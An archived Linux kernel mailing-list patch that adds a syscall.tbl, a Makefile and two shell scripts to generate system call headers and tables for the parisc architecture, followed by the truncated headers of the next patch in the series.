Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 3/5] parisc: add system call table generation support
Date: Fri, 26 Oct 2018 10:43:09 +0530
Lines: 575
Approved: news@gmane.org
Message-ID: <1540530791-3961-4-git-send-email-firoz.khan@linaro.org>
References: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540530719 25565 195.159.176.226 (26 Oct 2018 05:11:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 05:11:59 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Oct 26 07:11:53 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gFuPY-0006Xq-M9
	for glk-linux-kernel-4@m.gmane.org; Fri, 26 Oct 2018 07:11:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1726354AbeJZNtb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 26 Oct 2018 09:49:31 -0400
Original-Received: from mail-pl1-f194.google.com ([209.85.214.194]:46053 "EHLO
        mail-pl1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725849AbeJZNtb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 26 Oct 2018 09:49:31 -0400
Original-Received: by mail-pl1-f194.google.com with SMTP id o19-v6so4906249pll.12
        for <linux-kernel@vger.kernel.org>; Thu, 25 Oct 2018 22:14:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=sZqd2i5ZMkY+ds6FLqP4qN31FpXg4Vk2Y9Y4ncnYSEQ=;
        b=LAcEclqxv7ym02cq5rw6zIHz0QKKNei6x85TOARyClrbB4UbtKtdA1i0Ee3+qG3LXD
         jyL2DzGxzUyu6h03WeIEkknu2EpXAdMqyhKqPdsJSJ0b0SciNkepy16/xgkXfMAbDf2t
         yGgRqj9DFvkONCkGHyKmXyLqXURzYWpek05tg=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=sZqd2i5ZMkY+ds6FLqP4qN31FpXg4Vk2Y9Y4ncnYSEQ=;
        b=YtiCJGNocmIlzW/AyxPlDsn76ucyWn/DIRuNqRzeveWWYmPRcAfKnr9OnPRMeDiM1o
         UyzIEfkHyY4eI/f7iJv80g00pFM3gqrhsF89V29fNI1OhivNUwFrNeW9zGYzvRnp7QS1
         DQmBAgknaJKvEbEZuhD9qB/EBkYfpwlQuLCCJJFhweGucRnuJcHoZBk0iSk2+yAnloBJ
         yhWVUzS/kqDfV8wIF7Fb6wDqN86Ytqv+de0umHqziSIDcK48Jc7hd8kr6LDjZ12fyR1Q
         ivv1943U3MjQF3lNPuUpT+vjhtOYHXmNiPnaH2JGL54Jwd/4LZck/c4WGYadRcxfEGv9
         iFog==
X-Gm-Message-State: AGRZ1gKagh3brpElXp3RsGV+oeP12iw0IRaFVwsXBa6s3ad0NIzC8ePc
        BErtGh0qtBTyq+RX7KIUUTsbQg==
X-Google-Smtp-Source: AJdET5fihOIURDSjvYJ/nPDro3pNcMi2L/ssm8Mpud/ZGi5N3XGFYteXiI20uiNhZXzomg3AcvVdDw==
X-Received: by 2002:a17:902:a984:: with SMTP id bh4-v6mr2092100plb.163.1540530840104;
        Thu, 25 Oct 2018 22:14:00 -0700 (PDT)
Original-Received: from qualcomm-HP-ZBook-14-G2.domain.name ([49.207.61.165])
        by smtp.gmail.com with ESMTPSA id m16-v6sm3329302pff.173.2018.10.25.22.13.54
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 25 Oct 2018 22:13:59 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2908464 gmane.linux.ports.parisc:29245 gmane.linux.kernel.year-2038:3555 gmane.linux.kernel.cross-arch:48097
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2908464>

The system call tables are in different format in all
architecture and it will be difficult to manually add,
modify or delete the syscall table entries in the res-
pective files. To make it easy by keeping a script and
which will generate the uapi header and syscall table
file. This change will also help to unify the implemen-
tation across all architectures.

The system call table generation script is added in
kernel/syscalls directory which contain the scripts to
generate both uapi header file and system call table
files. The syscall.tbl will be input for the scripts.

syscall.tbl contains the list of available system calls
along with system call number and corresponding entry
point. Add a new system call in this architecture will
be possible by adding new entry in the syscall.tbl file.

Adding a new table entry consisting of:
  	- System call number.
	- ABI.
	- System call name.
	- Entry point name.
	- Compat entry name, if required.

syscallhdr.sh and syscalltbl.sh will generate uapi header
unistd_32/64.h and syscall_table_32/64/c32.h files respect-
ively. Both .sh files will parse the content syscall.tbl
to generate the header and table files. unistd_32/64.h will
be included by uapi/asm/unistd.h and syscall_table_32/64/-
c32.h is included by kernel/syscall.S - the real system
call table.

ARM, s390 and x86 architecuture does have similar support.
I leverage their implementation to come up with a generic
solution.

Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
---
 arch/parisc/kernel/syscalls/Makefile      |  57 +++++
 arch/parisc/kernel/syscalls/syscall.tbl   | 369 ++++++++++++++++++++++++++++++
 arch/parisc/kernel/syscalls/syscallhdr.sh |  36 +++
 arch/parisc/kernel/syscalls/syscalltbl.sh |  36 +++
 4 files changed, 498 insertions(+)
 create mode 100644 arch/parisc/kernel/syscalls/Makefile
 create mode 100644 arch/parisc/kernel/syscalls/syscall.tbl
 create mode 100644 arch/parisc/kernel/syscalls/syscallhdr.sh
 create mode 100644 arch/parisc/kernel/syscalls/syscalltbl.sh

diff --git a/arch/parisc/kernel/syscalls/Makefile b/arch/parisc/kernel/syscalls/Makefile
new file mode 100644
index 0000000..0e26cae
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/Makefile
@@ -0,0 +1,57 @@
+# SPDX-License-Identifier: GPL-2.0
+kapi := arch/$(SRCARCH)/include/generated/asm
+uapi := arch/$(SRCARCH)/include/generated/uapi/asm
+
+_dummy := $(shell [ -d '$(uapi)' ] || mkdir -p '$(uapi)') 	\
+	  $(shell [ -d '$(kapi)' ] || mkdir -p '$(kapi)')
+
+syscall := $(srctree)/$(src)/syscall.tbl
+syshdr := $(srctree)/$(src)/syscallhdr.sh
+systbl := $(srctree)/$(src)/syscalltbl.sh
+
+quiet_cmd_syshdr = SYSHDR  $@
+      cmd_syshdr = $(CONFIG_SHELL) '$(syshdr)' '$<' '$@'  	\
+		   '$(syshdr_abis_$(basetarget))'         	\
+		   '$(syshdr_pfx_$(basetarget))'          	\
+		   '$(syshdr_offset_$(basetarget))'
+
+quiet_cmd_systbl = SYSTBL  $@
+      cmd_systbl = $(CONFIG_SHELL) '$(systbl)' '$<' '$@'  	\
+		   '$(systbl_abis_$(basetarget))'         	\
+		   '$(systbl_abi_$(basetarget))'          	\
+		   '$(systbl_offset_$(basetarget))'
+
+syshdr_abis_unistd_32 := common,32
+syshdr_offset_unistd_32 := __NR_Linux
+$(uapi)/unistd_32.h: $(syscall) $(syshdr)
+	$(call if_changed,syshdr)
+
+syshdr_abis_unistd_64 := common,64
+syshdr_offset_unistd_64 := __NR_Linux
+$(uapi)/unistd_64.h: $(syscall) $(syshdr)
+	$(call if_changed,syshdr)
+
+systbl_abis_syscall_table_32 := common,32
+$(kapi)/syscall_table_32.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abis_syscall_table_64 := common,64
+$(kapi)/syscall_table_64.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+systbl_abis_syscall_table_c32 := common,32
+systbl_abi_syscall_table_c32 := c32
+$(kapi)/syscall_table_c32.h: $(syscall) $(systbl)
+	$(call if_changed,systbl)
+
+uapisyshdr-y		+= unistd_32.h unistd_64.h
+kapisyshdr-y		+= syscall_table_32.h     	\
+			   syscall_table_64.h     	\
+			   syscall_table_c32.h
+
+targets	+= $(uapisyshdr-y) $(kapisyshdr-y)
+
+PHONY += all
+all: $(addprefix $(uapi)/,$(uapisyshdr-y))
+all: $(addprefix $(kapi)/,$(kapisyshdr-y))
+	@:
diff --git a/arch/parisc/kernel/syscalls/syscall.tbl b/arch/parisc/kernel/syscalls/syscall.tbl
new file mode 100644
index 0000000..9bbd2f9
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscall.tbl
@@ -0,0 +1,369 @@
+# SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note
+#
+# system call numbers and entry vectors for parisc
+#
+# The format is:
+# <number> <abi> <name> <entry point> <compat entry point>
+#
+# The <abi> can be common, 64, or 32 for this file.
+#
+0	common	restart_syscall		sys_restart_syscall
+1	common	exit			sys_exit
+2	common	fork			sys_fork_wrapper
+3	common	read			sys_read
+4	common	write			sys_write
+5	common	open			sys_open			compat_sys_open
+6	common	close			sys_close
+7	common	waitpid			sys_waitpid
+8	common	creat			sys_creat
+9	common	link			sys_link
+10	common	unlink			sys_unlink
+11	common	execve			sys_execve			compat_sys_execve
+12	common	chdir			sys_chdir
+13	common	time			sys_time			compat_sys_time
+14	common	mknod			sys_mknod
+15	common	chmod			sys_chmod
+16	common	lchown			sys_lchown
+17	common	socket			sys_socket
+18	common	stat			sys_newstat			compat_sys_newstat
+19	common	lseek			sys_lseek			compat_sys_lseek
+20	common	getpid			sys_getpid
+21	common	mount			sys_mount			compat_sys_mount
+22	common	bind			sys_bind
+23	common	setuid			sys_setuid
+24	common	getuid			sys_getuid
+25	common	stime			sys_stime			compat_sys_stime
+26	common	ptrace			sys_ptrace			compat_sys_ptrace
+27	common	alarm			sys_alarm
+28	common	fstat			sys_newfstat			compat_sys_newfstat
+29	common	pause			sys_pause
+30	common	utime			sys_utime			compat_sys_utime
+31	common	connect			sys_connect
+32	common	listen			sys_listen
+33	common	access			sys_access
+34	common	nice			sys_nice
+35	common	accept			sys_accept
+36	common	sync			sys_sync
+37	common	kill			sys_kill
+38	common	rename			sys_rename
+39	common	mkdir			sys_mkdir
+40	common	rmdir			sys_rmdir
+41	common	dup			sys_dup
+42	common	pipe			sys_pipe
+43	common	times			sys_times			compat_sys_times
+44	common	getsockname		sys_getsockname
+45	common	brk			sys_brk
+46	common	setgid			sys_setgid
+47	common	getgid			sys_getgid
+48	common	signal			sys_signal
+49	common	geteuid			sys_geteuid
+50	common	getegid			sys_getegid
+51	common	acct			sys_acct
+52	common	umount2			sys_umount
+53	common	getpeername		sys_getpeername
+54	common	ioctl			sys_ioctl			compat_sys_ioctl
+55	common	fcntl			sys_fcntl			compat_sys_fcntl
+56	common	socketpair		sys_socketpair
+57	common	setpgid			sys_setpgid
+58	common	send			sys_send
+59	common	uname			sys_newuname
+60	common	umask			sys_umask
+61	common	chroot			sys_chroot
+62	common	ustat			sys_ustat			compat_sys_ustat
+63	common	dup2			sys_dup2
+64	common	getppid			sys_getppid
+65	common	getpgrp			sys_getpgrp
+66	common	setsid			sys_setsid
+67	common	pivot_root		sys_pivot_root
+68	common	sgetmask		sys_sgetmask			sys32_unimplemented
+69	common	ssetmask		sys_ssetmask			sys32_unimplemented
+70	common	setreuid		sys_setreuid
+71	common	setregid		sys_setregid
+72	common	mincore			sys_mincore
+73	common	sigpending		sys_sigpending			compat_sys_sigpending
+74	common	sethostname		sys_sethostname
+75	common	setrlimit		sys_setrlimit			compat_sys_setrlimit
+76	common	getrlimit		sys_getrlimit			compat_sys_getrlimit
+77	common	getrusage		sys_getrusage			compat_sys_getrusage
+78	common	gettimeofday		sys_gettimeofday		compat_sys_gettimeofday
+79	common	settimeofday		sys_settimeofday		compat_sys_settimeofday
+80	common	getgroups		sys_getgroups
+81	common	setgroups		sys_setgroups
+82	common	sendto			sys_sendto
+83	common	symlink			sys_symlink
+84	common	lstat			sys_newlstat			compat_sys_newlstat
+85	common	readlink		sys_readlink
+86	common	uselib			sys_ni_syscall
+87	common	swapon			sys_swapon
+88	common	reboot			sys_reboot
+89	common	mmap2			sys_mmap2
+90	common	mmap			sys_mmap
+91	common	munmap			sys_munmap
+92	common	truncate		sys_truncate			compat_sys_truncate
+93	common	ftruncate		sys_ftruncate			compat_sys_ftruncate
+94	common	fchmod			sys_fchmod
+95	common	fchown			sys_fchown
+96	common	getpriority		sys_getpriority
+97	common	setpriority		sys_setpriority
+98	common	recv			sys_recv
+99	common	statfs			sys_statfs			compat_sys_statfs
+100	common	fstatfs			sys_fstatfs			compat_sys_fstatfs
+101	common	stat64			sys_stat64
+# 102 was socketcall
+103	common	syslog			sys_syslog
+104	common	setitimer		sys_setitimer			compat_sys_setitimer
+105	common	getitimer		sys_getitimer			compat_sys_getitimer
+106	common	capget			sys_capget
+107	common	capset			sys_capset
+108	32	pread64			parisc_pread64
+108	64	pread64			sys_pread64
+109	32	pwrite64		parisc_pwrite64
+109	64	pwrite64		sys_pwrite64
+110	common	getcwd			sys_getcwd
+111	common	vhangup			sys_vhangup
+112	common	fstat64			sys_fstat64
+113	common	vfork			sys_vfork_wrapper
+114	common	wait4			sys_wait4			compat_sys_wait4
+115	common	swapoff			sys_swapoff
+116	common	sysinfo			sys_sysinfo			compat_sys_sysinfo
+117	common	shutdown		sys_shutdown
+118	common	fsync			sys_fsync
+119	common	madvise			sys_madvise
+120	common	clone			sys_clone_wrapper
+121	common	setdomainname		sys_setdomainname
+122	common	sendfile		sys_sendfile			compat_sys_sendfile
+123	common	recvfrom		sys_recvfrom
+124	common	adjtimex		sys_adjtimex			compat_sys_adjtimex
+125	common	mprotect		sys_mprotect
+126	common	sigprocmask		sys_sigprocmask			compat_sys_sigprocmask
+# 127 was create_module
+128	common	init_module		sys_init_module
+129	common	delete_module		sys_delete_module
+# 130 was get_kernel_syms
+131	common	quotactl		sys_quotactl
+132	common	getpgid			sys_getpgid
+133	common	fchdir			sys_fchdir
+134	common	bdflush			sys_bdflush
+135	common	sysfs			sys_sysfs
+136	32	personality		parisc_personality
+136	64	personality		sys_personality
+# 137 was afs_syscall
+138	common	setfsuid		sys_setfsuid
+139	common	setfsgid		sys_setfsgid
+140	common	_llseek			sys_llseek
+141	common	getdents		sys_getdents			compat_sys_getdents
+142	common	_newselect		sys_select			compat_sys_select
+143	common	flock			sys_flock
+144	common	msync			sys_msync
+145	common	readv			sys_readv			compat_sys_readv
+146	common	writev			sys_writev			compat_sys_writev
+147	common	getsid			sys_getsid
+148	common	fdatasync		sys_fdatasync
+149	common	_sysctl			sys_sysctl			compat_sys_sysctl
+150	common	mlock			sys_mlock
+151	common	munlock			sys_munlock
+152	common	mlockall		sys_mlockall
+153	common	munlockall		sys_munlockall
+154	common	sched_setparam		sys_sched_setparam
+155	common	sched_getparam		sys_sched_getparam
+156	common	sched_setscheduler	sys_sched_setscheduler
+157	common	sched_getscheduler	sys_sched_getscheduler
+158	common	sched_yield		sys_sched_yield
+159	common	sched_get_priority_max	sys_sched_get_priority_max
+160	common	sched_get_priority_min	sys_sched_get_priority_min
+161	common	sched_rr_get_interval	sys_sched_rr_get_interval	compat_sys_sched_rr_get_interval
+162	common	nanosleep		sys_nanosleep			compat_sys_nanosleep
+163	common	mremap			sys_mremap
+164	common	setresuid		sys_setresuid
+165	common	getresuid		sys_getresuid
+166	common	sigaltstack		sys_sigaltstack			compat_sys_sigaltstack
+# 167 was query_module
+168	common	poll			sys_poll
+# 169 was nfsservctl
+170	common	setresgid		sys_setresgid
+171	common	getresgid		sys_getresgid
+172	common	prctl			sys_prctl
+173	common	rt_sigreturn		sys_rt_sigreturn_wrapper
+174	common	rt_sigaction		sys_rt_sigaction		compat_sys_rt_sigaction
+175	common	rt_sigprocmask		sys_rt_sigprocmask		compat_sys_rt_sigprocmask
+176	common	rt_sigpending		sys_rt_sigpending		compat_sys_rt_sigpending
+177	common	rt_sigtimedwait		sys_rt_sigtimedwait		compat_sys_rt_sigtimedwait
+178	common	rt_sigqueueinfo		sys_rt_sigqueueinfo		compat_sys_rt_sigqueueinfo
+179	common	rt_sigsuspend		sys_rt_sigsuspend		compat_sys_rt_sigsuspend
+180	common	chown			sys_chown
+181	common	setsockopt		sys_setsockopt			compat_sys_setsockopt
+182	common	getsockopt		sys_getsockopt			compat_sys_getsockopt
+183	common	sendmsg			sys_sendmsg			compat_sys_sendmsg
+184	common	recvmsg			sys_recvmsg			compat_sys_recvmsg
+185	common	semop			sys_semop
+186	common	semget			sys_semget
+187	common	semctl			sys_semctl			compat_sys_semctl
+188	common	msgsnd			sys_msgsnd			compat_sys_msgsnd
+189	common	msgrcv			sys_msgrcv			compat_sys_msgrcv
+190	common	msgget			sys_msgget
+191	common	msgctl			sys_msgctl			compat_sys_msgctl
+192	common	shmat			sys_shmat			compat_sys_shmat
+193	common	shmdt			sys_shmdt
+194	common	shmget			sys_shmget
+195	common	shmctl			sys_shmctl			compat_sys_shmctl
+# 196 was getpmsg
+# 197 was putpmsg
+198	common	lstat64			sys_lstat64
+199	32	truncate64		parisc_truncate64
+199	64	truncate64		sys_truncate64
+200	32	ftruncate64		parisc_ftruncate64
+200	64	ftruncate64		sys_ftruncate64
+201	common	getdents64		sys_getdents64
+202	common	fcntl64			sys_fcntl64			compat_sys_fcntl64
+# 203 was attrctl
+# 204 was acl_get
+# 205 was acl_set
+206	common	gettid			sys_gettid
+207	32	readahead		parisc_readahead
+207	64	readahead		sys_readahead
+208	common	tkill			sys_tkill
+209	common	sendfile64		sys_sendfile64			compat_sys_sendfile64
+210	common	futex			sys_futex			compat_sys_futex
+211	common	sched_setaffinity	sys_sched_setaffinity		compat_sys_sched_setaffinity
+212	common	sched_getaffinity	sys_sched_getaffinity		compat_sys_sched_getaffinity
+# 213 was set_thread_area
+# 214 was get_thread_area
+215	common	io_setup		sys_io_setup			compat_sys_io_setup
+216	common	io_destroy		sys_io_destroy
+217	common	io_getevents		sys_io_getevents		compat_sys_io_getevents
+218	common	io_submit		sys_io_submit			compat_sys_io_submit
+219	common	io_cancel		sys_io_cancel
+# 220 was alloc_hugepages
+# 221 was free_hugepages
+222	common	exit_group		sys_exit_group
+223	common	lookup_dcookie		sys_lookup_dcookie		compat_sys_lookup_dcookie
+224	common	epoll_create		sys_epoll_create
+225	common	epoll_ctl		sys_epoll_ctl
+226	common	epoll_wait		sys_epoll_wait
+227	common	remap_file_pages	sys_remap_file_pages
+228	common	semtimedop		sys_semtimedop			compat_sys_semtimedop
+229	common	mq_open			sys_mq_open			compat_sys_mq_open
+230	common	mq_unlink		sys_mq_unlink
+231	common	mq_timedsend		sys_mq_timedsend		compat_sys_mq_timedsend
+232	common	mq_timedreceive		sys_mq_timedreceive		compat_sys_mq_timedreceive
+233	common	mq_notify		sys_mq_notify			compat_sys_mq_notify
+234	common	mq_getsetattr		sys_mq_getsetattr		compat_sys_mq_getsetattr
+235	common	waitid			sys_waitid			compat_sys_waitid
+236	32	fadvise64_64		parisc_fadvise64_64
+236	64	fadvise64_64		sys_fadvise64_64
+237	common	set_tid_address		sys_set_tid_address
+238	common	setxattr		sys_setxattr
+239	common	lsetxattr		sys_lsetxattr
+240	common	fsetxattr		sys_fsetxattr
+241	common	getxattr		sys_getxattr
+242	common	lgetxattr		sys_lgetxattr
+243	common	fgetxattr		sys_fgetxattr
+244	common	listxattr		sys_listxattr
+245	common	llistxattr		sys_llistxattr
+246	common	flistxattr		sys_flistxattr
+247	common	removexattr		sys_removexattr
+248	common	lremovexattr		sys_lremovexattr
+249	common	fremovexattr		sys_fremovexattr
+250	common	timer_create		sys_timer_create		compat_sys_timer_create
+251	common	timer_settime		sys_timer_settime		compat_sys_timer_settime
+252	common	timer_gettime		sys_timer_gettime		compat_sys_timer_gettime
+253	common	timer_getoverrun	sys_timer_getoverrun
+254	common	timer_delete		sys_timer_delete
+255	common	clock_settime		sys_clock_settime		compat_sys_clock_settime
+256	common	clock_gettime		sys_clock_gettime		compat_sys_clock_gettime
+257	common	clock_getres		sys_clock_getres		compat_sys_clock_getres
+258	common	clock_nanosleep		sys_clock_nanosleep		compat_sys_clock_nanosleep
+259	common	tgkill			sys_tgkill
+260	common	mbind			sys_mbind			compat_sys_mbind
+261	common	get_mempolicy		sys_get_mempolicy		compat_sys_get_mempolicy
+262	common	set_mempolicy		sys_set_mempolicy		compat_sys_set_mempolicy
+# 263 was vserver
+264	common	add_key			sys_add_key
+265	common	request_key		sys_request_key
+266	common	keyctl			sys_keyctl			compat_sys_keyctl
+267	common	ioprio_set		sys_ioprio_set
+268	common	ioprio_get		sys_ioprio_get
+269	common	inotify_init		sys_inotify_init
+270	common	inotify_add_watch	sys_inotify_add_watch
+271	common	inotify_rm_watch	sys_inotify_rm_watch
+272	common	migrate_pages		sys_migrate_pages
+273	common	pselect6		sys_pselect6			compat_sys_pselect6
+274	common	ppoll			sys_ppoll			compat_sys_ppoll
+275	common	openat			sys_openat			compat_sys_openat
+276	common	mkdirat			sys_mkdirat
+277	common	mknodat			sys_mknodat
+278	common	fchownat		sys_fchownat
+279	common	futimesat		sys_futimesat			compat_sys_futimesat
+280	common	fstatat64		sys_fstatat64
+281	common	unlinkat		sys_unlinkat
+282	common	renameat		sys_renameat
+283	common	linkat			sys_linkat
+284	common	symlinkat		sys_symlinkat
+285	common	readlinkat		sys_readlinkat
+286	common	fchmodat		sys_fchmodat
+287	common	faccessat		sys_faccessat
+288	common	unshare			sys_unshare
+289	common	set_robust_list		sys_set_robust_list		compat_sys_set_robust_list
+290	common	get_robust_list		sys_get_robust_list		compat_sys_get_robust_list
+291	common	splice			sys_splice
+292	32	sync_file_range		parisc_sync_file_range
+292	64	sync_file_range		sys_sync_file_range
+293	common	tee			sys_tee
+294	common	vmsplice		sys_vmsplice			compat_sys_vmsplice
+295	common	move_pages		sys_move_pages			compat_sys_move_pages
+296	common	getcpu			sys_getcpu
+297	common	epoll_pwait		sys_epoll_pwait			compat_sys_epoll_pwait
+298	common	statfs64		sys_statfs64			compat_sys_statfs64
+299	common	fstatfs64		sys_fstatfs64			compat_sys_fstatfs64
+300	common	kexec_load		sys_kexec_load			compat_sys_kexec_load
+301	common	utimensat		sys_utimensat			compat_sys_utimensat
+302	common	signalfd		sys_signalfd			compat_sys_signalfd
+# 303 was timerfd
+304	common	eventfd			sys_eventfd
+305	32	fallocate		parisc_fallocate
+305	64	fallocate		sys_fallocate
+306	common	timerfd_create		sys_timerfd_create
+307	common	timerfd_settime		sys_timerfd_settime		compat_sys_timerfd_settime
+308	common	timerfd_gettime		sys_timerfd_gettime		compat_sys_timerfd_gettime
+309	common	signalfd4		sys_signalfd4			compat_sys_signalfd4
+310	common	eventfd2		sys_eventfd2
+311	common	epoll_create1		sys_epoll_create1
+312	common	dup3			sys_dup3
+313	common	pipe2			sys_pipe2
+314	common	inotify_init1		sys_inotify_init1
+315	common	preadv	sys_preadv	compat_sys_preadv
+316	common	pwritev	sys_pwritev	compat_sys_pwritev
+317	common	rt_tgsigqueueinfo	sys_rt_tgsigqueueinfo		compat_sys_rt_tgsigqueueinfo
+318	common	perf_event_open		sys_perf_event_open
+319	common	recvmmsg		sys_recvmmsg			compat_sys_recvmmsg
+320	common	accept4			sys_accept4
+321	common	prlimit64		sys_prlimit64
+322	common	fanotify_init		sys_fanotify_init
+323	common	fanotify_mark		sys_fanotify_mark		sys32_fanotify_mark
+324	common	clock_adjtime		sys_clock_adjtime		compat_sys_clock_adjtime
+325	common	name_to_handle_at	sys_name_to_handle_at
+326	common	open_by_handle_at	sys_open_by_handle_at		compat_sys_open_by_handle_at
+327	common	syncfs			sys_syncfs
+328	common	setns			sys_setns
+329	common	sendmmsg		sys_sendmmsg			compat_sys_sendmmsg
+330	common	process_vm_readv	sys_process_vm_readv		compat_sys_process_vm_readv
+331	common	process_vm_writev	sys_process_vm_writev		compat_sys_process_vm_writev
+332	common	kcmp			sys_kcmp
+333	common	finit_module		sys_finit_module
+334	common	sched_setattr		sys_sched_setattr
+335	common	sched_getattr		sys_sched_getattr
+336	common	utimes			sys_utimes			compat_sys_utimes
+337	common	renameat2		sys_renameat2
+338	common	seccomp			sys_seccomp
+339	common	getrandom		sys_getrandom
+340	common	memfd_create		sys_memfd_create
+341	common	bpf			sys_bpf
+342	common	execveat		sys_execveat			compat_sys_execveat
+343	common	membarrier		sys_membarrier
+344	common	userfaultfd		sys_userfaultfd
+345	common	mlock2			sys_mlock2
+346	common	copy_file_range		sys_copy_file_range
+347	common	preadv2			sys_preadv2			compat_sys_preadv2
+348	common	pwritev2		sys_pwritev2			compat_sys_pwritev2
+349	common	statx			sys_statx
+350	common	io_pgetevents		sys_io_pgetevents		compat_sys_io_pgetevents
diff --git a/arch/parisc/kernel/syscalls/syscallhdr.sh b/arch/parisc/kernel/syscalls/syscallhdr.sh
new file mode 100644
index 0000000..50242b7
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscallhdr.sh
@@ -0,0 +1,36 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+prefix="$4"
+offset="$5"
+
+fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
+	-e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
+	-e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+	printf "#ifndef %s\n" "${fileguard}"
+	printf "#define %s\n" "${fileguard}"
+	printf "\n"
+
+	nxt=0
+	while read nr abi name entry compat ; do
+		if [ -z "$offset" ]; then
+			printf "#define __NR_%s%s\t%s\n" \
+				"${prefix}" "${name}" "${nr}"
+		else
+			printf "#define __NR_%s%s\t(%s + %s)\n" \
+				"${prefix}" "${name}" "${offset}" "${nr}"
+		fi
+		nxt=$((nr+1))
+	done
+
+	printf "\n"
+	printf "#ifdef __KERNEL__\n"
+	printf "#define __NR_syscalls\t%s\n" "${nxt}"
+	printf "#endif\n"
+	printf "\n"
+	printf "#endif /* %s */" "${fileguard}"
+) > "$out"
diff --git a/arch/parisc/kernel/syscalls/syscalltbl.sh b/arch/parisc/kernel/syscalls/syscalltbl.sh
new file mode 100644
index 0000000..45b5bae
--- /dev/null
+++ b/arch/parisc/kernel/syscalls/syscalltbl.sh
@@ -0,0 +1,36 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0
+
+in="$1"
+out="$2"
+my_abis=`echo "($3)" | tr ',' '|'`
+my_abi="$4"
+offset="$5"
+
+emit() {
+	t_nxt="$1"
+	t_nr="$2"
+	t_entry="$3"
+
+	while [ $t_nxt -lt $t_nr ]; do
+		printf "__SYSCALL(%s, sys_ni_syscall, )\n" "${t_nxt}"
+		t_nxt=$((t_nxt+1))
+	done
+	printf "__SYSCALL(%s, %s, )\n" "${t_nxt}" "${t_entry}"
+}
+
+grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
+	nxt=0
+	if [ -z "$offset" ]; then
+		offset=0
+	fi
+
+	while read nr abi name entry compat ; do
+		if [ "$my_abi" = "c32" ] && [ ! -z "$compat" ]; then
+			emit $((nxt+offset)) $((nr+offset)) $compat
+		else
+			emit $((nxt+offset)) $((nr+offset)) $entry
+		fi
+		nxt=$((nr+1))
+	done
+) > "$out"
-- 
1.9.1



From - Thu Nov 08 21:42:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 4/5] parisc: generate uapi header and system call table files
Date: Fri, 26 Oct 2018 10:43:10 +0530
Lines: 946
Approved: news@gmane.org
Message-ID: <1540530791-3961-5-git-send-email-firoz.khan@linaro.org>
References: <1540530791-3961-1-git-send-email-firoz.khan@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1540530725 26004 195.159.176.226 (26 Oct 2018 05:12:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 26 Oct 2018 05:12:05 +0000 (UTC)
Cc: y2038@lists.linaro.org, linux-kernel@vger.kernel.org,
        linux-arch@vger.kernel.org, arnd@arndb.de, deepa.kernel@gmail.com,
        marcin.juszkiewicz@linaro.org, firoz.khan@linaro.org
To: linux-parisc@vger.kernel.org,
